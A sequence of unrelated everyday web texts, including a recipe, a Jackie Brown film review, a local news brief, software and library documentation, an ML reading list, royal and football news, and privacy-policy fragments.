Put the jam in a small pan and heat gently until warm.
Mix the Greek yoghurt, honey and vanilla together in a bowl, then place a good dollop into each pastry case. Divide the fruit among the tartlets, piling it up high. Brush with the warm apricot jam to make a shiny glaze and serve.


JACKIE BROWN (Miramax) Starring: Pam Grier, Samuel L. Jackson, Robert Forster, Bridget Fonda, Michael Keaton, Robert DeNiro. Screenplay: Quentin Tarantino, based on the novel "Rum Punch" by Elmore Leonard. Producer: Lawrence Bender. Director: Quentin Tarantino.  Reviewed by Scott Renshaw.
In the three years since PULP FICTION dazzled critics, raked in $100 million at the box office and polarized Academy voters, it has become fashionable to brand Quentin Tarantino with that favored label of contrarian pundits everywhere: "over-rated." Many film buffs dismissed him as a cinematic plagiarist or a profane wordsmith drunk on his own familiarity with pop culture; his attempts at acting (DESTINY TURNS ON THE RADIO, FROM DUSK TILL DAWN) were viewed as ego run amok. With a three year output behind the camera consisting of one "E/R" episode and a lackluster segment of the ill-advised FOUR ROOMS, it was easy to start asking questions. Had the Flavor of the Month lost his flavor on the bedpost overnight?
A lot of those same folks are going to see JACKIE BROWN as a validation of their suspicions. After all, it's not the kind of dizzying, heart-stopping morality-play-disguised-as-nihilism PULP FICTION was. It's simply a well-crafted Elmore Leonard caper (based on his novel "Rum Punch") about a middle-aged flight attendant named Jackie Brown (Pam Grier) caught in a tight spot. Nailed by ATF agent Ray Nicolet (Michael Keaton) for transporting cash and cocaine into the country from Mexico, Jackie faces jail time unless she's willing to give up the man she's acting as courier for. That man is Ordell Robbie (Samuel L. Jackson), a gun-runner who has already shown a reluctance to let potential snitches remain among the living. Faced with a no-win situation, Jackie decides she wants to win anyway, elisting the aid of bail bondsman Max Cherry (Robert Forster) in a sting where she hopes everyone but her will get stung.
Both fans and foes of Tarantino tend to fixate on his writing, but JACKIE BROWN may prove once and for all that the man is a remarkably talented film director. He does things with his camera that keep viewers off-balance, while avoiding the swooping ostentation of many young film-makers. At times, he will linger on a shot just after a character has moved out of frame; at other times, he may shoot a conversation from behind the characters' backs. In one hilariously perfect scene, he uses complete darkness to build tension, complemented by an expertly handled split-screen to deliver the punch line. He directs a scene with such confidence that he can convince a viewer to follow wherever he's leading, because it always seems to be somewhere slightly unexpected.
He's also got a gift for directing actors most directors will never have. John Travolta, Samuel L. Jackson and Bruce Willis gave the performances of their careers in PULP FICTION; even Uma Thurman had an uncommon intensity. In JACKIE BROWN, Tarantino resurrects the careers of not one, but two forgotten actors of the 1970s. Most of the press has gone to Pam Grier, still looking as Foxy as she did in the 70s as she plays nobody's-victim Jackie. Grier does fine work, but it's Robert Forster who breaks out of JACKIE BROWN with a superb performance. A veteran of B-grade cop shows like "Nakia" and "Banyon," Forster plays the world-weary Cherry with natural charisma and a touching affection for Jackie. In a cast full of heavy hitters like Samuel L. Jackson and Robert DeNiro (both of whom are also top-notch), Grier and Forster make an unexpected romance between two people past their Hollywood-pretty prime funny, sexy and convincing.
It's true that JACKIE BROWN includes plenty of familiar elements from previous Tarantino efforts: bursts of unpredictable violence, twelve-letter profanities by the truck-load, non-linear narrative, creative use of old songs (doing for "Strawberry Letter #23" what RESERVOIR DOGS did for "Stuck in the Middle With You"). It's also true that JACKIE BROWN moves at the kind of measured pace which could have some Tarantino fans tapping their toes with impatience. It's not an instant classic, just a sharp piece of entertainment with the kind of tightly-structured script you wish Tarantino could teach to other writers. I found it hard not to smile virtually from start to finish in JACKIE BROWN -- not because it's constantly amusing, but because it's such a pleasure to be in the hands of someone who knows how to use the medium. Even if it's an over-rated, plagiarizing Flavor of the Month like Quentin Tarantino.
On the Renshaw scale of 0 to 10 flavors of the month: 8.
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"Sherlock Holmes is a fictional private detective created by British author Sir Arthur Conan Doyle. Known as a "consulting detective" in the stories, Holmes is known for a proficiency with observation, forensic science, and logical reasoning that borders on the fantastic, which he employs when investigating cases for a wide variety of clients, including Scotland Yard." - Wikipedia
I admire Sherlock Holmes for his personality and wit, which I identify with on a particular level. His lodgemate, Watson, describes Holmes as "bohemian" in his habits and lifestyle. Described by Watson in The Hound of the Baskervilles as having a "cat-like" love of personal cleanliness, Holmes is an eccentric with no regard for contemporary standards of tidiness or good order. Although in his methods of thought he was the neatest and most methodical of mankind ... [he] keeps his cigars in the coal-scuttle, his tobacco in the toe end of a Persian slipper, and his unanswered correspondence transfixed by a jack-knife into the very centre of his wooden mantelpiece ... He had a horror of destroying documents .... Thus month after month his papers accumulated, until every corner of the room was stacked with bundles of manuscript which were on no account to be burned, and which could not be put away save by their owner.


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OSHKOSH, Wis. (AP) - Oshkosh police are investigating after two explosive devices were found at a hospital.
Police were informed just after 2 p.m. Wednesday that an explosive device was found with a man’s belongings at Ascension Mercy Hospital in Oshkosh.
As police investigated, they found a second explosive device. A bomb squad safely removed the devices, and no one was hurt.
The Oshkosh Northwestern reports police have detained the 39-year-old man and say he is not a hospital employee. Police say no threats were made, and a search of the man’s car and Oshkosh home turned up no other explosive devices.
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Im lately working on a web-game base which is inspired by habitrpg, so far is looking very good, i started liking it a lot, and im using it everyday, i do still don’t have a name on it, im also very much interested in making a version for android, and maybe make some money of it, even if not it would be great to manage my own life, where it major pitfall is the bad habit i have gained thru the years.
I know how to make habits, but i’m always tend to forget about them, i can one day make a plan and the next day i have forgotten about it, try to make a good habit about eating clean, ill do it 3 days, the fourth day i go out of my way and end up failing. After that i just forget instead of going back to the good road.
This Webgame, it help you retain your habit by giving you good rewards that you, your own person add, lets say you want to make a good habit, always select something simple but it is worth in the long run, example, Drink one glass of Water set it to give you one point, now on rewards add a new one called, a Snicker bar or whatever, and give it 30 points, or whatever your consider fair. Fair is the key word if is too easy or too hard you will fail miserably.
Here is a screenshot of the project, i’m very focused on effects and graphics because i like something that looks good.


U1.W3: Cultural Blog: Your Thinking Style and Learning
Covering: My Gregoric Thinking Style & Adapting My Learning to My Thinking
Sunday, January 11, 2014
My Gregoric thinking style is Abstract Random. I think the first time I heard that, I was in high school, and I thought nothing of it. But when I became a part of DBC and this learning style came up again, I realized it was something I really should pay attention to.
Upon doing a bit more research, I was able to find out a bit more about how my mind works. According to cortland.edu, the abstract perceptual quality is when one visualizes and conceive ideas which you cannot actually see. It also means that one is relying heavily on their intuition and imagination. The random ordering ability means that the individual's mind organizes information in orderless chunks. There is a tendancy to skip around within a process and start anywhere (beginning, middle, or end.)
As I am with most things, I was very skeptical of this whole learning style test. But the more that I read, the more I understood that these things really spoke true to how I often thought and worked through problems. It was time to figure out how to use this to my advantage while studying at DBC. I found some resources that explained AR learners work best when:
- they can work and share with others
- So, I need to learn to get over my shyness and fear of seeming unknowledable, and start pairing more often
- they get personal attention and emotional support
- This was something that I've actually known about myself for a while. I try to foster mututally satisfying emotionally supportive relationships with my peers in order to maintain my sanity. My accountability group has been great for that so far.
- has open communication with others
- Again, my fear of seeming ignorant is something I need to kick to the curb, so that I can openly communicate my concern, confusions, etc at DBC. I know that there will be a ton of communication in the DBC environment and I will flourish if I take advantage of that opportunity.
- has a non-competitive atmosphere
- I know that DBC is not a competition, and we are all there to learn; but I do have a fear of being the "worst one". I will just have to make sure to remind myself that this is not a race or competition, but instead a nurturuing learning environment.
It was great to be able to do all of this research and learn a bit more about how my mind works. This ties directly into the concept of growth vs fixed mindest. I know that intelliegence is not static, and now that I know where my learning and thinking strengths lay I feel prepared to force myself to grow. I will push to communicate more, so that I can really get the most out of my learning experience. I will make sure to ease the feeling competition, and be more active in the group aspect of the learning experience.


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Args:
- lastRunFile - The file used to record when the backup was last performed. If you don't want to use this pass in None. Defaults to /var/state/backupLastRun.lrf
- rsync - The location of the rsync binary. Defaults to /usr/bin/rsync
- testRun - Defaults to 0 (false). Set to 1 (true) to perform a dry run, logging out what would have happened.
Desc: The constructor of the RSyncBackup class. One instance of the class can perform multiple backups.
timeToBackup
Args:
- backupInterval - The number of minutes to have ellapsed between backups.
Desc: Returns true if it's time to backup. If the lastRunFile was set to None or does not exist then a warning is logged, but true is still returned.
backup
Args:
- source - The directory who's contents should be backed up.
- destination - The destination that the backup should be placed in.
- archive - Defaults to None. The destination where old versions of files should be moved to.
- excludeList - Defaults to None. A List of strings containing the list of dirs/files that should not be included in the backup (see rsync manual page for details on '--exclude')
Desc: Perform a backup. This can be called multiple times with different arguments to backup different dirs to different destinations. Returns true if successful.
trimArchives
Args:
- archiveDir - The directory where archives are kept.
- filter - Defaults to None. A regular expression that allows only paths matching this regex to be trimmed.
- entriesToKeep - The number of archives to keep, defaults to 10.
- removeParentIfEmpty - Defaults to true. Remove parent directories climbing the path if any of them are empty. This is used to delete month and year directories that have been emptied.
Desc: WARNING: THIS DELETES FILES. ALWAYS run with testRun set to true and ensure that the archiveDir contains only expendable data when developing your own backup script. This method will remove old archives that number beyond entriesToKeep. If in doubt just don't use it...
finish
Args: None
Desc: If a lastRunFile was provided write out the last run time to it.


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Indonesia has many interesting places waiting for you to explore soon. From sea and beach tours, mountains, lakes, forests, and many others, all can easily be found in the Land of the Emerald Equator.
Indonesia is known for its cultural diversity. Even Indonesian culture is well-known abroad. Not only famous but also recognized by the world.
Indonesia has a lot of heritage and culture, especially for food. There are a lot of variety foods here in Indonesia. Starts from spicy, sweet, sour, salty and many more.
Tempe is a food made from soybeans can be combined in a variety of ways. A lot of indonesian people used to deep fried this dish. But did you know, Japanese people make this dish one of their favorites. Starting from someone who sold "tempe" in a Japanese culinary bazaar. Once tried, they liked it immediately.
This traditional dance originating from Aceh has been designated as a cultural heritage of Indonesia by UNESCO since 2011. This dance reflects education, religion, manners, heroism, cohesiveness and togetherness.Saman dance is one of the dances that is quite unique, because it only displays clapping other movements
Lorentz National Park is located in the province of Papua, Indonesia. With an area of 2.4 million hectares. Lorentz is the largest national park in Southeast Asia. The park is still uncharted, explored and contains many native plants, animals and cultures. Lorentz National Park is representative of the most comprehensive ecosystem for biodiversity in Asia Pacific. This area is also one of three regions in the world that has glaciers in the tropics.


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Decode numerical columns in a data frame into (ordered) factors given the encoding in another data frame.
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data <- data.frame(var1 = sample(x = 1:10, size = 20, replace = TRUE), var2 = rep(1:2, 20), var3 = sample(20), var4 = 2, var5 = sample(row.names(USArrests), size = 20), stringsAsFactors = FALSE) index <- data.frame(var = rep(paste0("var", 1:3), c(10, 2, 20)), encoding = c(1:10, 1:2, 1:20), label = c(letters[1:10], c("male", "female"), LETTERS[1:20])) index_cfactor(data = data, index = index, variable = "var", ordered = c(TRUE, TRUE, FALSE))#> Warning: the following levels were empty: #> 7#> var1 var2 var3 var4 var5 #> 1 h male D 2 Washington #> 2 h female S 2 Maryland #> 3 j male J 2 Hawaii #> 4 j female R 2 New York #> 5 d male E 2 Arizona #> 6 e female G 2 Vermont #> 7 d male F 2 Connecticut #> 8 b female A 2 Minnesota #> 9 f male N 2 Oklahoma #> 10 e female P 2 New Jersey #> 11 h male M 2 Georgia #> 12 c female T 2 Michigan #> 13 h male K 2 Wyoming #> 14 a female L 2 Alaska #> 15 d male C 2 Kentucky #> 16 i female O 2 New Hampshire #> 17 c male H 2 Nevada #> 18 f female Q 2 Indiana #> 19 d male I 2 Utah #> 20 f female B 2 Illinois #> 21 h male D 2 Washington #> 22 h female S 2 Maryland #> 23 j male J 2 Hawaii #> 24 j female R 2 New York #> 25 d male E 2 Arizona #> 26 e female G 2 Vermont #> 27 d male F 2 Connecticut #> 28 b female A 2 Minnesota #> 29 f male N 2 Oklahoma #> 30 e female P 2 New Jersey #> 31 h male M 2 Georgia #> 32 c female T 2 Michigan #> 33 h male K 2 Wyoming #> 34 a female L 2 Alaska #> 35 d male C 2 Kentucky #> 36 i female O 2 New Hampshire #> 37 c male H 2 Nevada #> 38 f female Q 2 Indiana #> 39 d male I 2 Utah #> 40 f female B 2 Illinois


9. Using Stored Procedures
9.2 Executing a Stored Procedure
Previous chapter showed how to select a single set of data rows
using a ProcedureQuery. In a more general case stored procedures can return multiple
sets of data, either as ResultSets or via OUT parameters,
execute update/delete/insert queries, etc. To collect the results of
execution of such stored procedure, a special class, QueryResult,
is used.
9.2.1 Using QueryResult to Process Complex Results
QueryResult implements OperationObserver, so it can be used as a second parameter to
DataContext.performQuery() method. After the query execution is done, QueryResult
instance will contain all the output of the query:
DataContext ctxt;
// "my_procedure" is a name of a stored procedure,
// that must exist in the DataMap
ProcedureQuery query = new ProcedureQuery("my_procedure");
// Set "IN" parameter values
query.addParam("paramter1", "abc");
query.addParam("parameter2", new Integer(3000));
QueryResult resultsCollection = new QueryResult();
// run query
ctxt.performQuery(query, resultsCollection);
// check the results
// note that this is a list of lists
// if you expect only a single result set, use
// resultCollection.getFirstRows(query) as a shortcut
List rowSets = resultsCollection.getRows(query);
Iterator it = rowSets.iterator();
while(it.hasNext()) {
// nextResultSet will contain data rows
List nextResultSet = (List)it.next();
....
}
// now check update counts
List updates = resultsCollection.getUpdates(query);
it = updates.iterator();
while(it.hasNext()) {
Integer nextUpdateCount = (Integer)it.next();
System.out.println("Updated " + nextUpdateCount + " rows.");
....
}
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9.2.2 Using QueryResult to Read OUT Parameters
Stored Procedure can return data back to the application as ResultSets or via OUT
parameters. To simplify the processing of the query output, QueryResult treats OUT parameters
as if it was a separate ResultSet. If a stored procedure declares any OUT or INOUT parameters,
QueryResult will contain their returned values in the very first result list:
DataContext ctxt;
// "my_procedure" is a name of a stored procedure,
// that must exist in the DataMap
ProcedureQuery query = new ProcedureQuery("my_procedure");
// Set "IN" parameter values
query.addParam("paramter1", "abc");
query.addParam("parameter2", new Integer(3000));
QueryResult resultsCollection = new QueryResult();
// run query
ctxt.performQuery(query, resultsCollection);
// read OUT parameters
List outList = resultsCollection.getFirstRows(query);
if(outList.size() > 0) {
Map outParameterValues = (Map) outList.get(0);
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Combine effective explanations, interactive visualisations and code examples and you will obtain something similar to this post. Nick Strayer explains all the concepts behind the t-SNE algorithm in a very approachable way.
This library built on top of PyTorch 1.0 features a bunch of functionalities to manipulate Gaussian processes, with GPU support. There's a ton of documentation to get you going; see for instance the regression tutorial.
This blog post is interesting in the sense that it is more than a regular machine learning blog post. Actually, the emphasis is on the analysis of an industry problem, which is: how to match a type of food (or restaurant) to a customer, based on her search query and her tastes? We learn different aspects of this difficult problem and how it has been handled at Uber Eats.
You may have recently heard of the Glow model (we mentionned it a few issues ago); it is a generative model which is neither a GAN nor a VAE. Rather, it is a flow-based generative model where the input is transformed through a sequence of invertible, easy-to-compute functions. This blog post can be seen as a review of the different flow-based models that have been proposed. In particular, it helped me make more sense of why the 1x1 convolution from the Glow paper is so central. And since the post is signed Lilan Weng, you know it is going to be a great read!
This repo has been made public in late August of this year and it has already more than 1,400 stars on GitHub. It provides a PyTorch-based toolbox for object detection with tuned weights for a variety of detectors (RPN, Faster R-CNN, Mask R-CNN etc.). You can find the download links for the weights in this GitHub issue.
Many probabilistic models of interest in scientific computing and machine learning have expensive, black-box likelihoods that prevent the application of standard techniques for Bayesian inference, such as MCMC, which would require access to the gradient or a large number of likelihood evaluations. We introduce here a novel sample-efficient inference framework, Variational Bayesian Monte Carlo (VBMC). VBMC combines variational inference with Gaussian-process based, active-sampling Bayesian quadrature, using the latter to efficiently approximate the intractable integral in the variational objective. Our method produces both a nonparametric approximation of the posterior distribution and an approximate lower bound of the model evidence, useful for model selection. [...]
We propose a rejection sampling scheme using the discriminator of a GAN to approximately correct errors in the GAN generator distribution. We show that under quite strict assumptions, this will allow us to recover the data distribution exactly. We then examine where those strict assumptions break down and design a practical algorithm - called Discriminator Rejection Sampling (DRS) - that can be used on real data-sets.
Training an agent in a simulated 3d environment (powered by Unreal Engine 4!) with the ease of the Python programming language: that's what Holodeck is made for. Engineers have made the syntax close to OpenAI's Gym environments.
Tensorflow Eager has been out for a while now. But for some reasons I never had the chance to properly test it. This notebook is a good remedy. No need to set up a complex project; the code is already laid down in an interactive online notebook. You can learn, tweak and play, all in the browser.


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Solve for Composite Binding Sites¶
From the Compounds/
directory, enter:
bsff mcsolve <Compound_ID> <current_iteration_fuzzball_dir> <motif_size>
Where <Compound_ID> is the name of the project directory for your target molecule, <current_iteration_fuzzball_dir> is the directory containing the contact pool created by the bsff assemble command, and <motif_size> is the number of residues that should compose the composite binding site (this include the ligand!).
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BindingSitesFromFragments.commands.bsff_gurobi.
mc_solve
(args)¶ Produce binding motif solutions using a simulated annealing monte carlo protocol
- Usage:
bsff mcsolve <user_defined_dir> <current_iteration_fuzzball_dir> <motif_size> [options]
- Arguments:
<user_defined_dir> Path to project root directory <current_iteration_fuzzball_dir> Directory containing fuzzballs for current iteration <motif_size> Target binding motif size
- Options:
- --block=<block_size>, -b <block_size>
If running on the cluster, number of trajectories per fuzzball
- --include_defined, -i
Included defined residues
For each target ligand conformer, a Markov Chain Monte Carlo protocol was applied to assemble discrete side-chains in the contact ensemble into composite binding sites. A composite binding site is initialized with three random side-chains from the contact ensemble and select two-body score terms in Rosetta’s energy function (fa_rep, fa_atr, fa_elec, hbond_sc, hbond_bb_sc, fa_sol) are used to evaluate the overall energy of the binding site. During each move, a side chain in the current binding site is replaced with a random side chain from the contact ensemble. The new binding site is scored and the move is kept based on the Metropolis criterion, where the objective is to minimize the energy of the composite binding site. Temperature is ramped down geometrically across seven steps. Up to ten trajectories are performed for each contact ensemble and the best 100,000 solutions discovered per trajectory are recorded.
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BindingSitesFromFragments.solve.
montecarlo_motif
(user_defined_dir, fuzzball_path, motif_size, block_count=None, include_defined=False, solutions=100000)¶ Use PyRosetta and a simulated annealing monte carlo method to find binding site solutions.
- Parameters
user_defined_dir – Path to project root directory
fuzzball_path – Path to directory containing fuzzballs for current iteration
motif_size – Number of residues (including ligand) to include in binding motif solutions
block_count – Number of trajectories per conformer


The Cambridges and Sussexes will need to 'raise their game’ and ‘put in a lot more work’ to support the Queen after Prince Andrew's sacking, royal commentators claim
by Harriet Johnston For Mailonline- Younger royals will 'need' to 'raise game' in 2020, according to commentators
- Omid Scobie suggested Kate Middleton, 37, 'needed' to take on more work
- Revealed both the Cambridges and Sussexes would 'put in a lot more work'
- Pointed to Prince Andrew's, 59, sacking and the Queen, 93, getting older
The Cambridges and the Sussexes will 'need' to 'raise their game' next year after Prince Andrew's sacking, according to royal commentators.
Royal expert Omid Scobie suggested that Prince William, 37, and Kate Middleton, 37, as well as Prince Harry, 35, and Meghan Markle, 38, will all be required to 'put in a lot more work' in 2020 in a year which would bring 'big change' to the family.
Speaking with fellow expert Victoria Arbiter on the Heirpod podcast, he pointed to Prince Andrew's, 59, removal from royal duty, as well as the Queen's advancing years, as reasons why there will be more pressure on the younger generations.
Victoria revealed: '2020 is going to get a lot busier for all of them with Prince Andrew out of the mix now. We've just lost one member of the royal family technically and, already, the workload increases for everyone else.'
Last week, Kate took over as the new royal patron of charity Family Action, with the Queen passing on the patronage after 65 years.
And earlier this summer she also took on the same role with the Royal Photographic Society, which the monarch had also been patron of for 67 years.
But Omid and Victoria suggested next year could be a much busier year for Kate, as well as the other members of the family, in part due to Prince Andrew's departure from royal duty.
Omid revealed: 'It's great, she is a mother, she has three kids, she has a very busy plate as it is...but to see her taking on even more is needed.
'As the Queen steps back, the younger royals having to step forward and put in a lot more work.'
Victoria explained: 'Kate is quite fortunate she had their children when she did, because she's been able to be hands-on with them.
How many patronages do the royals have?
The Queen: 600+, over her lifetime
Prince Phillip: 700+, over his lifetime
Prince Andrew: 230, before being removed from royal duty
Prince William: 38
Kate Middleton: 19
Prince Harry: 20
Meghan Markle: 6
'But the schedule needs to start building now, as she offers her support to the Queen as well.'
She added: '2020 will be a big year of adjustment, change and adapting with the Queen getting older, so everyone needs to start raising the game a little bit.'
Their comments come as Prince Andrew stood aside from 230 of his patronages, 'putting many back into the pot', according to Omid.
But he said he 'wondered what would happen to charitable organisations that need a royal patron'.
Victoria went on to add that because the younger royals are taking on fewer patronages, to give them a more focused and hands-on approach, charities would likely lose their patronages.
She called them 'further collateral damage' because 'Prince Andrew is not a priority for the rest of the family at the moment and they're trying to distance themselves a little bit' to make sure that the monarchy's reputation doesn't suffer.
The Duke of York was forced to step back from his public duties last month following a disastrous television interview about his friendship with Epstein.
The scandal forced the prince to resign from his patronages and royal duties, although there were reports yesterday that he planned to make his first public appearance on Christmas Day, by joining the Queen and other Royal Family members at the church service at Sandringham in Norfolk.
During his disastrous Emily Maitlis interview on Newsnight, the duke denied they had discussed the Epstein scandal or Miss Roberts' claims that she was forced into having sex with Andrew.
Miss Roberts, now a married mother-of-three, gave an extraordinary interview to the BBC's Panorama – aired last week – in which she said she was 'abused' by Andrew and left feeling 'ashamed and dirty'.
Her lawyer Mr Scarola said: 'We want Prince Andrew to give evidence under oath and tell us all he knew about Jeffrey Epstein and Ghislaine Maxwell.'
Andrew has said he would co-operate with law enforcement authorities 'if required'.


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6 Players Who Could End The Year Without A Club
by Soccer LadumaWith the domestic season quickly approaching the halfway mark, Soccer Laduma takes a look at six of the many players who could end 2019 without a club.
George Lebese who parted ways with Mamelodi Sundowns during the final hours of the July/August transfer window this year, is still a free agent and according to Siya sources, there is yet to be a club to show official interest in the player.
Read more: Maluleka Leads List Players Who Could Become Hot Property In January
As previously revealed by the Siya crew, Lebese’s camp was also looking for options overseas, although it could be possible that he will still be a free agent by the end of the year.
Elsewhere, Bhongolethu Jayiya, who was previously on the books of Kaizer Chiefs, received his clearance from Amakhosi in May this year; however, the player is still unattached and could possibly end the year as a free agent.
Siphiwe Tshabalala is another player who is still unattached after returning home from a season-long stint in Turkey. While the player has been linked with a return abroad, nothing has materialized as yet.
Former Orlando Pirates defender, Patrick Phungwayo is still a free agent after parting ways with Free State Stars in July this year.
Former Mamelodi Sundowns centre-back, Thabo Nthethe is also on the list of free agents, with the 35-year-old unattached to a club since leaving Chippa United in January this year.
Another defender, who is still a free agent since July 01, is Brian Onyango, despite the player having recently undergone a training stint with Pirates.
Who of the aforementioned players would you like your club to sign? Let us know in the comment section below.


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Aggregate Information (non-personally identifiable)
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When users submit sensitive information via the web site,
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and Microsoft Internet Explorer becomes locked, as opposed
to un-locked, or open, when users are just 'surfing'.
While we use SSL encryption to protect sensitive information
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not just the sensitive information mentioned above, is
restricted in our offices. Only employees who need the
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granted access to personally identifiable information.
Furthermore, ALL employees are kept up-to-date on our
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about the importance we place on privacy, and what they
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